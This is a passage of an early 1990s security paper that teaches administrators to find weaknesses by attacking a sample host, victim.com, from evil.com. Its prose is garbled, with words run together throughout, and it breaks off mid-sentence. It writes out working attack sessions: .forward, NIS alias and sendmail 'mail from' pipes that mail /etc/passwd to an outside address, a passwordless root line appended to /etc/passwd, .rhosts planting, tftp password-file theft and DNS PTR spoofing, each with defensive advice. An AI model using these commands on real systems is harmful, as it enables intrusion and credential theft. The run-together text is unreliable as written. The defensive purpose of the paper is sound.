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1 Introduction

Every day, all over theworld, computernetworksandhostsarebeingbroken into. Thelevel of sophistica-
tion of theseattacksvarieswidely; while it is generallybelieved thatmostbreak-inssucceeddueto weak
passwords,therearestill a largenumberof intrusionsthatusemoreadvancedtechniquesto breakin. Less
is known aboutthelattertypesof break-ins,becauseby their very naturethey aremuchharderto detect.

CERT. SRI. TheNic. NCSC.RSA. NASA. MIT. Uunet. Berkeley. Purdue.Sun. You nameit, we’ve
seenit brokeninto. Anything thatis on theInternet(andmany thatisn’t) seemsto befairly easygame.Are
thesetargetsunusual?Whathappened?

Fade to...

A youngboy, with greasyblondehair, sitting in a dark room. The room is illuminatedonly by the lumi-
nescenseof theC64’s40characterscreen.Takinganotherlongdragfrom hisBensonandHedgescigarette,
thewearysystemcracker telnetsto thenext faceless“.mil” siteonhishit list. “guest– guest”,“root – root”,
and“system– manager”all fail. No matter. He hasall night... hepencilsthehostoff of his list, andtiredly
typesin thenext potentialvictim...

This seemsto be the popularimageof a systemcracker. Young, inexperienced,andpossessingvast
quantitiesof timeto waste,to getinto justonemoresystem.However, thereis a farmoredangeroustypeof
systemcracker out there.Onewhoknows theinsandoutsof thelatestsecurityauditingandcrackingtools,
whocanmodify themfor specificattacks,andwhocanwrite his/herown programs.Onewhonotonly reads
aboutthelatestsecurityholes,but alsopersonallydiscoversbugsandvulnerabilities.A deadlycreaturethat
canbothstrike poisonouslyandhideits trackswithoutawhisperor hint of a trail. Theuebercracker is here.

Why “uebercracker”? The ideais stolen,obviously, from Nietzsche’s uebermensch,or, literally trans-
latedinto English,“over man.” Nietzscheusedthetermnot to referto a comicbooksuperman,but instead
a manwho hadgonebeyond the incompetence,pettiness,andweaknessof theeverydayman. Theueber-
cracker is thereforethe systemcracker who hasgonebeyond simplecookbookmethodsof breakinginto
systems.An uebercracker is not usuallymotivatedto performrandomactsof violence. Targetsarenot
arbitrary– thereis a purpose,whetherit bepersonalmonetarygain,a hit andrun raid for information,or a
challengeto strike amajoror prestigioussiteor net.personality. An uebercracker is hardto detect,harderto
stop,andhardestto keepoutof yoursitefor good.

2 Overview

In this paperwe will take anunusualapproachto systemsecurity. Insteadof merelysayingthatsomething
is aproblem,wewill look throughtheeyesof apotentialintruder, andshow why it is one.Wewill illustrate
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thatevenseeminglyharmlessnetwork servicescanbecomevaluabletoolsin thesearchfor weakpointsof a
system,evenwhentheseservicesareoperatingexactlyasthey areintendedto.

In aneffort to shedsomelight onhow moreadvancedintrusionsoccur, thispaperoutlinesvariousmech-
anismsthat crackershave actuallyusedto obtainaccessto systemsand,in addition,sometechniqueswe
eithersuspectintrudersof using,or thatwe have usedourselvesin testsor in friendly/authorizedenviron-
ments.

Our motivation for writing this paperis that systemadministratorsareoften unawareof the dangers
presentedby anything beyond the most trivial attacks. While it is widely known that the properlevel of
protectiondependson whathasto beprotected,many sitesappearto lack theresourcesto assesswhatlevel
of hostandnetwork securityis adequate.By showing what intruderscando to gain accessto a remote
site, we are trying to help systemadministratorsto make informed decisionson how to securetheir site
– or not. We will limit the discussionto techniquesthat cangive a remoteintruderaccessto a (possibly
non-interactive) shellprocesson a UNIX host.Oncethis is achieved,thedetailsof obtainingroot privilege
arebeyondthescopeof this work – we considerthemtoo site-dependentand,in many cases,too trivial to
merit muchdiscussion.

We want to stressthatwe will not merelyrun down a list of bugsor securityholes– therewill always
benew onesfor a potentialattacker to exploit. Thepurposeof this paperis to try to get thereaderto look
at heror his systemin a new way – onethatwill hopefullyafford him or hertheopportunityto understand
how their systemcanbecompromised,andhow.

We would alsolike to reiterateto the readerthat the purposeof this paperis to show you how to test
the securityof your own site, not how to breakinto otherpeople’s systems.The intrusiontechniqueswe
illustrateherewill oftenleavetracesin yoursystemauditinglogs– it mightbeconstructive to examinethem
after trying someof theseattacksout, to seewhat a real attackmight look like. Certainlyothersitesand
systemadministratorswill takeaverydim view of youractivities if youdecideto usetheirhostsfor security
testingwithout advanceauthorization;indeed,it is quitepossiblethat legal actionmaybepursuedagainst
you if they perceive it asanattack.

Therearefour mainpartsto thepaper. Thefirst part is theintroductionandoverview. Thesecondpart
attemptsto give the readera feel for what it is like to bean intruderandhow to go from knowing nothing
abouta systemto compromisingits security. This sectiongoesover actualtechniquesto gain information
andentranceandcoversbasicstrategiessuchasexploiting trust andabusingimproperlyconfiguredbasic
network services(ftp, mail, tftp, etc.) It alsodiscussesslightly moreadvancedtopics,suchasNIS andNFS,
aswell asvariouscommonbugsandconfigurationproblemsthataresomewhatmoreOSor systemspecific.
Defensive strategiesagainsteachof thevariousattacksarealsocoveredhere.

The third sectiondealswith trust: how the securityof onesystemdependson the integrity of other
systems. Trust is the most complex subjectin this paper, and for the sake of brevity we will limit the
discussionto clientsin disguise.

The fourth sectioncovers the basicstepsthat a systemadministratormay take to protecther or his
system.Mostof themethodspresentedherearemerelycommonsense,but they areoftenignoredin practice
– oneof ourgoalsis to show justhow dangerousit canbeto ignorebasicsecuritypractices.

Casestudies,pointersto security-relatedinformation,andsoftwarearedescribedin theappendicesat
theendof thepaper.

While exploring the methodsand strategies discussedin this paperwe we wrote SATAN (Security
AnalysisTool for Auditing Networks.) Written in shell, perl, expectandC, it examinesa remotehostor
setof hostsandgathersasmuchinformationaspossibleby remotelyprobingNIS, finger, NFS,ftp andtftp,
rexd, andotherservices.This informationincludesthepresenceof variousnetwork informationservicesas
well aspotentialsecurityflaws – usually in the form of incorrectlysetupor configurednetwork services,
well-known bugsin systemor network utilities,or pooror ignorantpolicy decisions.It thencaneitherreport
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on this dataor useanexpert systemto further investigateany potentialsecurityproblems.While SATAN
doesn’t useall of the methodsthat we discussin the paper, it hassucceededwith ominousregularity in
finding seriousholesin thesecurityof Internetsites. It will bepostedandmadeavailablevia anonymous
ftp whencompleted;AppendixA coversits salientfeatures.

Note that it isn’t possibleto cover all possiblemethodsof breakinginto systemsin a single paper.
Indeed,we won’t cover two of the mosteffective methodsof breakinginto hosts:socialengineeringand
password cracking.Thelattermethodis soeffective, however, thatseveralof thestrategiespresentedhere
aregearedtowardsacquiringpasswordfiles. In addition,while windowing systems(X, OpenWindows,etc.)
canprovide a fertile groundfor exploitation,we simply don’t know many methodsthat areusedto break
into remotesystems.Many systemcrackers usenon-bitmappedterminalswhich canprevent themfrom
usingsomeof themoreinterestingmethodsto exploit windowing systemseffectively (althoughbeingable
to monitor the victim’s keyboardis often sufficient to capturepasswords). Finally, while worms,viruses,
trojanhorses,andothermalwareareveryinteresting,they arenotcommon(onUNIX systems)andprobably
will usesimilar techniquesto theoneswedescribein thispaperasindividual partsto theirattackstrategy.

3 Gaining Information

Let usassumethatyouaretheheadsystemadministratorof Victim Incorporated’s network of UNIX work-
stations.In an effort to secureyour machines,you aska friendly systemadministratorfrom a nearbysite
(evil.com) to giveyouanaccountononeof hermachinessothatyoucanlook atyourown system’ssecurity
from theoutside.

What shouldyou do? First, try to gatherinformationaboutyour (target) host. Thereis a wealthof
network servicesto look at: finger, showmount,andrpcinfoaregoodstartingpoints.But don’t stopthere–
youshouldalsoutilize DNS,whois,sendmail(smtp),ftp, uucp,andasmany otherservicesasyoucanfind.
Therearesomany methodsandtechniquesthatspaceprecludesusfrom showing all of them,but wewill try
to show a cross-sectionof themostcommonand/ordangerousstrategiesthatwe have seenor have thought
of. Ideally, youwouldgathersuchinformationaboutall hostsonthesubnetor areaof attack— information
is power – but for now we’ll examineonly our intendedtarget.

To startout, you look at what the ubiquitousfinger commandshows you (assumeit is 6pm, Nov 6,
1993):

victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com

Good!A singleidle user– it is likely thatnoonewill noticeif youactuallymanageto breakin.
Now youtry moretactics.As everyfingerdevoteeknows,fingering“@”, “0”, and"", aswell ascommon

names,suchasroot, bin, ftp, system,guest,demo,manager, etc.,canreveal interestinginformation. What
that information is dependson the versionof finger that your target is running,but the mostnotableare
accountnames,alongwith their homedirectoriesandthehostthatthey lastloggedin from.

To addto this information,youcanuserusers(in particularwith the-l flag) to getusefulinformationon
logged-inusers.

Trying thesecommandson victim.com revealsthe following information,presentedin a compressed
tabular form to save space:

Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
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bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Both our experimentswith SATAN andwatchingsystemcrackersat work have provedto usthatfinger
is oneof themostdangerousservices,becauseit is sousefulfor investigatinga potentialtarget. However,
muchof this informationis usefulonly whenusedin conjunctionwith otherdata.

For instance,runningshowmounton your targetreveals:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

Note that /export/foo is exportedto the world; also note that this is userguest’s homedirectory. Time
for your first break-in! In this case,you’ll mount the homedirectory of user“guest.” Sinceyou don’t
have a correspondingaccounton thelocal machineandsinceroot cannotmodify files on anNFSmounted
filesystem,you createa “guest” accountin your local password file. As userguestyou canput an .rhosts
entryin theremoteguesthomedirectory, whichwill allow youto login to thetargetmachinewithouthaving
to supplyapassword.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest

evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com

Welcome to victim.com!
victim %
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If, insteadof homedirectories,victim.com wereexporting filesystemswith usercommands(say, /usr or
/usr/local/bin),youcouldreplaceacommandwith atrojanhorsethatexecutesany commandof yourchoice.
Thenext userto executethatcommandwouldexecuteyour program.

Wesuggestthatfilesystemsbeexported:

� Read/writeonly to specific,trustedclients.

� Read-only, wherepossible(dataor programscanoftenbeexportedin thismanner.)

If the targethasa "+" wildcard in its /etc/hosts.equiv (thedefault in variousvendor’s machines)or hasthe
netgroupsbug(CERT advisory91:12),any non-rootuserwith a login namein thetarget’s passwordfile can
rlogin to thetargetwithout a password. And sincetheuser"bin" oftenownskey files anddirectories,your
next attackis to try to log in to thetargethostandmodify thepassword file to let youhave root access:

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor

Welcome to victim.com!
victim #

A few notesaboutthemethodusedabove; "rshvictim.comcsh-i" is usedto initially getontothesystem
becauseit doesn’t leave any tracesin the wtmp or utmp systemauditing files, making the rsh invisible
for fingerandwho. Theremoteshell isn’t attachedto a pseudo-terminal,however, so thatscreen-oriented
programssuchaspagersandeditorswill fail – but it is very handyfor brief exploration.

TheCOPSsecurityauditingtool (seeappendixD) will reportkey files or directoriesthatarewritable
to accountsother thanthe superuser. If you run SunOS4.x you canapply patch100103to fix mostfile
permissionproblems.On many systems,rshprobesasshown above, evenwhensuccessful,would remain
completelyunnoticed;thetcp wrapper(appendixD), which logsincomingconnections,canhelpto expose
suchactivities.

Whatnow? Haveyouuncoveredall theholesonyour targetsystem?Not by a longshot.Goingbackto
thefingerresultsonyourtarget,younoticethatit hasan"ftp" account,whichusuallymeansthatanonymous
ftp is enabled.Anonymousftp canbeaneasyway to getaccess,asit is oftenmisconfigured.For example,
the targetmayhave a completecopy of the/etc/passwdfile in theanonymousftp ftp/etcdirectoryinstead
of a strippeddown version. In this example,though,you seethat the latter doesn’t seemto be true (how
canyou tell without actuallyexamining the file?) However, the homedirectoryof ftp on victim.com is
writable. This allows you to remotelyexecutea command– in this case,mailing thepassword file backto
yourself– by thesimplemethodof creatinga .forwardfile thatexecutesa commandwhenmail is sentto
theftp account.This is thesamemechanismof piping mail to a programthat the"vacation"programuses
to automaticallyreply to mail messages.

evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
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Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Now yousimply wait for thepassword file to besentbackto you.
Thesecurityauditingtool COPSwill checkyour anonymousftp setup;seethemanpagefor ftpd, the

documentation/codefor COPS,or CERT advisory93:10for informationon how to setup anonymousftp
correctly. Vulnerabilitiesin ftp areoften a matterof incorrectownershipor permissionsof key files or
directories.At thevery least,make surethat ftp andall "system"directoriesandfilesbelow ftp areowned
by rootandarenotwritableby any user.

While looking at ftp, youcancheckfor anolderbug thatwasoncewidely exploited:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

If this works,you now areloggedin asroot, andableto modify thepassword file, or whatever you desire.
If your systemexhibits this bug, you shoulddefinitelygetanupdateto your ftpd daemon,eitherfrom your
vendoror (via anonftp) from ftp.uu.net.

Thewuarchive ftpd, a popularreplacementftp daemonput out by theWashingtonUniversity in Saint
Louis,hadalmostthesameproblem.If your wuarchive ftpd pre-datesApril 8, 1993,you shouldreplaceit
by amorerecentversion.
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Finally, thereis aprogramvaguelysimilar to ftp – tftp, or thetrivial file transferprogram.Thisdaemon
doesn’t requireany passwordfor authentication;if ahostprovidestftp withoutrestrictingtheaccess(usually
via somesecureflag setin theinetd.conffile), anattacker canreadandwrite files anywhereon thesystem.
In theexample,yougettheremotepassword file andplaceit in your local /tmp directory:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

For security’s sake, tftp shouldnotberun; if tftp is necessary, usethesecureoption/flagto restrictaccessto
adirectorythathasno valuableinformation,or run it underthecontrolof achrootwrapperprogram.

If noneof theprevious methodshave worked, it is time to go on to moredrasticmeasures.You have
a friend in rpcinfo, anothervery handyprogram,sometimesevenmoreusefulthanfinger. Many hostsrun
RPCservicesthatcanbeexploited;rpcinfocantalk to theportmapperandshow youtheway. It cantell you
if thehostis runningNIS, if it is a NIS server or slave, if a disklessworkstationis around,if it is running
NFS, any of the info services(rusersd,rstatd,etc.), or any otherunusualprograms(auditingor security
related).For instance,goingbackto oursampletarget:

evil % rpcinfo -p victim.com [output trimmed for brevity’s sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd

In this case,youcanseeseveralsignificantfactsaboutour target;first of which is thatit is anNIS server. It
is perhapsnotwidely known,but onceyouknow theNIS domainnameof aserver, youcangetany of its NIS
mapsby a simplerpc query, evenwhenyou areoutsidethesubnetservedby theNIS server (for example,
usingtheYPX programthatcanbefoundin thecomp.sources.miscarchivesonftp.uu.net).In addition,very
muchlike easilyguessedpasswords,many systemsuseeasilyguessedNIS domainnames.Trying to guess
theNIS domainnameis oftenvery fruitful. Goodcandidatesarethefully andpartially qualifiedhostname
(e.g. "victim" and"victim.com"), theorganizationname,netgroupnamesin "showmount" output,andso
on. If youwantedto guessthatthedomainnamewas"victim", youcouldtype:

evil % ypwhich -d victim victim.com
Domain victim not bound.

This wasanunsuccessfulattempt;if you hadguessedcorrectlyit would have returnedwith thehostname
of victim.com’s NIS server. However, notefrom the NFS sectionthat victim.com is exporting the "/var"
directory to the world. All that is neededis to mount this directoryand look in the "yp" subdirectory–
amongotherthingsyouwill seeanothersubdirectorythatcontainsthedomainnameof thetarget.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17

1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
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11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]

In this case,“foo_bar” is theNIS domainname.
In addition,theNIS mapsoftencontainagoodlist of user/employeenamesaswell asinternalhostlists,

not to mentionpasswordsfor cracking.
AppendixC detailstheresultsof acasestudyon NIS password files.
You note that the rpcinfo outputalsoshowed that victim.com runs rexd. Like the rsh daemon,rexd

processesrequestsof theform "pleaseexecutethiscommandasthatuser".Unlike rshd,however, rexd does
not careif theclient hostis in thehosts.equiv or .rhostfiles. Normally therexd client programis the"on"
command,but it only takesa shortC programto sendarbitraryclient hostanduseridinformationto the
rexd server; rexd will happily executethecommand.For thesereasons,runningrexd is similar to having
no passwordsat all: all securityis in theclient, not in theserver whereit shouldbe. Rexd securitycanbe
improvedsomewhatby usingsecureRPC.

While lookingattheoutputfrom rpcinfo,youobservethatvictim.comalsoseemsto beaserver for disk-
lessworkstations.This is evidencedby thepresenceof thebootparamservice,which providesinformation
to the disklessclientsfor booting. If you asknicely, usingBOOTPARAMPROC_WHOAMI andprovide
theaddressof a client, you canget its NIS domainname.This canbevery usefulwhencombinedwith the
fact thatyou cangetarbitraryNIS maps(suchasthepassword file) whenyou know theNIS domainname.
Hereis asamplecodesnippetto do just that(bootparamis partof SATAN.)

char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */

/* initializations omitted... */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf("%s has nisdomain %s\n", server, res.domain_name);

Theshowmountoutputindicatedthat"easy"is a disklessclient of victim.com,sowe useits client address
in theBOOTPARAMPROC_WHOAMI query:

evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar

NIS masterscontrol themail aliasesfor theNIS domainin question.Justlike local mail aliasfiles,you
cancreateamail aliasthatwill executecommandswhenmail is sentto it (aoncepopularexampleof this is
the"decode"aliaswhichuudecodesmail filessentto it.) For instance,hereyoucreateanalias"foo", which
mailsthepassword file backto evil.com by simplymailing any messageto it:

nis-master # echo ’foo: "| mail zen@evil.com < /etc/passwd "’ >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
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Hopefully attackerswon’t have controlof your NIS masterhost,but evenmorehopefully thelessonis
clear– NIS is normallyinsecure,but if anattacker hascontrolof your NIS master, thens/heeffectively has
controlof theclienthosts(e.g.canexecutearbitrarycommands).

Therearen’t many effective defensesagainstNIS attacks;it is an insecureservicethat hasalmostno
authenticationbetweenclientsandservers. To make thingsworse,it seemsfairly clearthatarbitrarymaps
canbe forcedonto even masterservers(e.g., it is possibleto treatan NIS server asa client). This, obvi-
ously, would subvert theentireschema.If it is absolutelynecessaryto useNIS, choosinga hardto guess
domainnamecanhelpslightly, but if yourundisklessclientsthatareexposedto potentialattackersthenit is
trivial for anattacker to defeatthis simplestepby usingthebootparamtrick to getthedomainname.If NIS
is usedto propagatethepassword maps,thenshadow passwordsdo not give additionalprotectionbecause
theshadow mapis still accessibleto any attacker thathasroot on anattackinghost.Betteris to useNIS as
little aspossible,or to at leastrealizethatthemapscanbesubjectto perusalby potentiallyhostileforces.

SecureRPCgoesa long way to diminish the threat,but it hasits own problems,primarily in that it is
difficult to administer, but alsoin thatthecryptographicmethodsusedwithin arenotverystrong.It hasbeen
rumoredthatNIS+, Sun’s new network informationservice,fixessomeof theseproblems,but until now it
hasbeenlimited to runningon Suns,andthusfar hasnot lived up to the promiseof the design. Finally,
usingpacket filtering (at thevery leastport 111)or securelib(seeappendixD), or, for Suns,applyingSun
patch100482-02all canhelp.

Theportmapperonly knows aboutRPCservices.Othernetwork servicescanbe locatedwith a brute-
force methodthat connectsto all network ports. Many network utilities andwindowing systemslisten to
specificports(e.g. sendmailis on port 25, telnet is on port 23, X windows is usuallyon port 6000,etc.)
SATAN includesa programthat scanstheportsof a remotehostsandreportson its findings; if you run it
againstour target,yousee:

evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

This suggeststhat victim.com is runningX windows. If not protectedproperly(via the magiccookieor
xhostmechanisms),window displayscanbecapturedor watched,userkeystrokesmaybestolen,programs
executedremotely, etc. Also, if the target is runningX andacceptsa telnetto port 6000,thatcanbeused
for a denialof serviceattack,asthetarget’s windowing systemwill often"freezeup" for a shortperiodof
time. Onemethodto determinethevulnerabilityof anX server is to connectto it via theXOpenDisplay()
function; if the function returnsNULL thenyou cannotaccessthevictim’s display(opendisplayis partof
SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
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printf("Cannot open display: %s\n", hostname);
} else {

printf("Can open display: %s\n", hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

X terminals,thoughmuchlesspowerful thana completeUNIX system,canhave their own securityprob-
lems. Many X terminalspermit unrestrictedrsh access,allowing you to start X client programsin the
victim’s terminalwith theoutputappearingon yourown screen:

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

In any case,give asmuchthoughtto your window securityasyour filesystemandnetwork utilities, for it
cancompromiseyoursystemassurelyasa "+" in your hosts.equiv or apasswordless(root) account.

Next, you examinesendmail.Sendmailis a very complex programthathasa long historyof security
problems,including the infamous"wiz" command(hopefully long sincedisabledon all machines).You
canoftendeterminetheOS,sometimesdown to theversionnumber, of thetarget,by looking at theversion
numberreturnedby sendmail.This, in turn,cangiveyouhintsasto how vulnerableit mightbeto any of the
numerousbugs.In addition,youcanseeif they run the"decode"alias,whichhasits own setof problems:

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

Runningthe"decode"aliasis a securityrisk – it allows potentialattackersto overwriteany file that is
writableby theownerof thatalias– oftendaemon,but potentiallyany user. Considerthis pieceof mail –
thiswill place"evil.com" in userzen’s .rhostsfile if it is writable:

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

If no home directoriesare known or writable, an interestingvariation of this is to createa bogus
/etc/aliases.pagfile that containsan aliaswith a commandyou wish to executeon your target. This may
work sinceonmany systemsthealiases.pagandaliases.dirfiles,whichcontrolthesystem’smail aliases,are
writableto theworld.

evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA‘pwd‘/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

A lot of things can be found out by just askingsendmailif an addressis acceptable(vrfy), or what an
addressexpandsto (expn). Whenthefingeror rusersservicesareturnedoff, vrfy andexpncanstill beused
to identify useraccountsor targets. Vrfy andexpn canalsobe usedto find out if the useris piping mail
throughany programthat might be exploited (e.g. vacation,mail sorters,etc.). It canbe a goodideato
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disablethevrfy andexpn commands:in mostversions,look at thesourcefile srvrsmtp.c,andeitherdelete
or changethe two lines in the CmdTab structurethat have the strings"vrfy" and "expn". Siteswithout
sourcecan still disableexpn and vrfy by just editing the sendmailexecutablewith a binary editor and
replacing"vrfy" and"expn" with blanks.Acquiring a recentversionof sendmail(seeAppendixD) is also
anextremelygoodidea,sincetherehaveprobablybeenmoresecuritybugsreportedin sendmailthanin any
otherUNIX program.

As a sendmail-sendoff, therearetwo fairly well known bugsthatshouldbechecked into. Thefirst was
definitelyfixedin version5.59from Berkeley; despitethemessagesbelow, for versionsof sendmailprevious
to 5.59,the"evil.com" getsappended,despitetheerrormessages,alongwith all of thetypicalmail headers,
to thefile specified:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM

evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is ’^]’.
Connection closed by foreign host.

evil % rlogin victim.com -l zen
Welcome to victim.com!

victim %

The secondhole, fixed only recently, permittedanyoneto specifyarbitraryshell commandsand/orpath-
namesfor thesenderand/ordestinationaddress.Attemptsto keepdetailssecretwerein vain,andextensive
discussionsin mailing lists andusenetnews groupsled to disclosureof how to exploit someversionsof the
bug. As with many UNIX bugs,nearlyevery vendor’s sendmailwasvulnerableto theproblem,sincethey
all sharea commonsourcecodetreeancestry. Spaceprecludesus from discussingit fully, but a typical
attackto getthepassword file might look like this:

evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is ’^]’.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
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250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

At the time of writing, version8.6.4of sendmail(seeAppendixD for informationon how to get this) is
reportedlytheonly variantof sendmailwith all of therecentsecuritybugsfixed.

4 Trust

For ourfinal topicof vulnerability, we’ll digressfrom thepracticalstrategy we’ve followedpreviously to go
a bit moreinto the theoreticalside,andbriefly discussthenotion of trust. The issuesandimplicationsof
vulnerabilitieshereareabit moresubtleandfar-reachingthanwhatwe’ve coveredbefore;in thecontext of
this paperwe usetheword trustwhenever thereis a situationwhena server (notethatany hostthatallows
remoteaccesscanbe calleda server) canpermit a local resourceto beusedby a client without password
authenticationwhenpassword authenticationis normally required.In otherwords,we arbitrarily limit the
discussionto clientsin disguise.

Therearemany waysthata hostcantrust: .rhostsandhosts.equiv files thatallow accesswithout pass-
word verification;window serversthat allow remotesystemsto useandabuseprivileges;export files that
controlaccessvia NFS,andmore.

Nearlyall of theserely on client IP addressto hostnameconversionto determinewhetheror not service
is to begranted.Thesimplestmethodusesthe/etc/hostsfile for adirectlookup.However, todaymosthosts
useeitherDNS(theDomainNameService),NIS, or bothfor namelookupservice.A reverselookupoccurs
whena server hasan IP address(from a client hostconnectingto it) andwishesto get the corresponding
client hostname.

Although the conceptof how host trust works is well understoodby mostsystemadministrators,the
dangers of trust,andthepractical problemit represents,irrespective of hostnameimpersonation,is oneof
theleastunderstoodproblemsweknow of ontheInternet.Thisgoesfarbeyondtheobvioushosts.equiv and
rhostsfiles; NFS,NIS, windowing systems– indeed,muchof theusefulservicesin UNIX arebasedon the
conceptthatwell known (to anadministratoror user)sitesaretrustedin someway. Whatis notunderstood
is how networking sotightly bindssecuritybetweenwhatarenormallyconsidereddisjointhosts.

Any form of trustcanbespoofed,fooled,or subverted,especiallywhentheauthoritythatgetsqueried
to checkthecredentialsof theclient is eitheroutsideof theserver’sadministrative domain,or whenthetrust
mechanismis basedon somethingthathasaweakform of authentication;bothareusuallythecase.

Obviously, if thehostcontainingthedatabase(eitherNIS, DNS, or whatever) hasbeencompromised,
the intrudercanconvince the target host that s/heis comingfrom any trustedhost; it is now sufficient to
find out which hostsaretrustedby thetarget. This taskis oftengreatlyhelpedby examiningwheresystem
administratorsand systemaccounts(suchas root, etc.) last loggedin from. Going back to our target,
victim.com,younotethatrootandsomeothersystemaccountsloggedin from big.victim.com.Youchange
thePTRrecordfor evil.com sothatwhenyouattemptto rlogin in from evil.com to victim.com,victim.com
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will attemptto look upyourhostnameandwill find whatyouplacedin therecord.If therecordin theDNS
databaselookslike:

1.192.192.192.in-addr.arpa IN PTR evil.com

And youchangeit to:

1.192.192.192.in-addr.arpa IN PTR big.victim.com

then,dependingonhow naivevictim.com’ssystemsoftwareis,victim.comwill believethelogin comesfrom
big.victim.com,and,assumingthatbig.victim.comis in the/etc/hosts.equiv or /.rhostsfiles,youwill beable
to login without supplyinga password. With NIS, it is a simplematterof eitherediting thehostdatabase
on the NIS master(if this is controlledby the intruder)or of spoofingor forcing NIS (seediscussionon
NIS securityabove) to supplythe target with whatever informationyou desire. Although morecomplex,
interesting,anddamagingattackscanbemountedvia DNS, time andspacedon’t allow coverageof these
methodshere.

Two methodscanbe usedto prevent suchattacks. The first is the mostdirect, but perhapsthe most
impractical. If your site doesn’t useany trust, you won’t be as vulnerableto host spoofing. The other
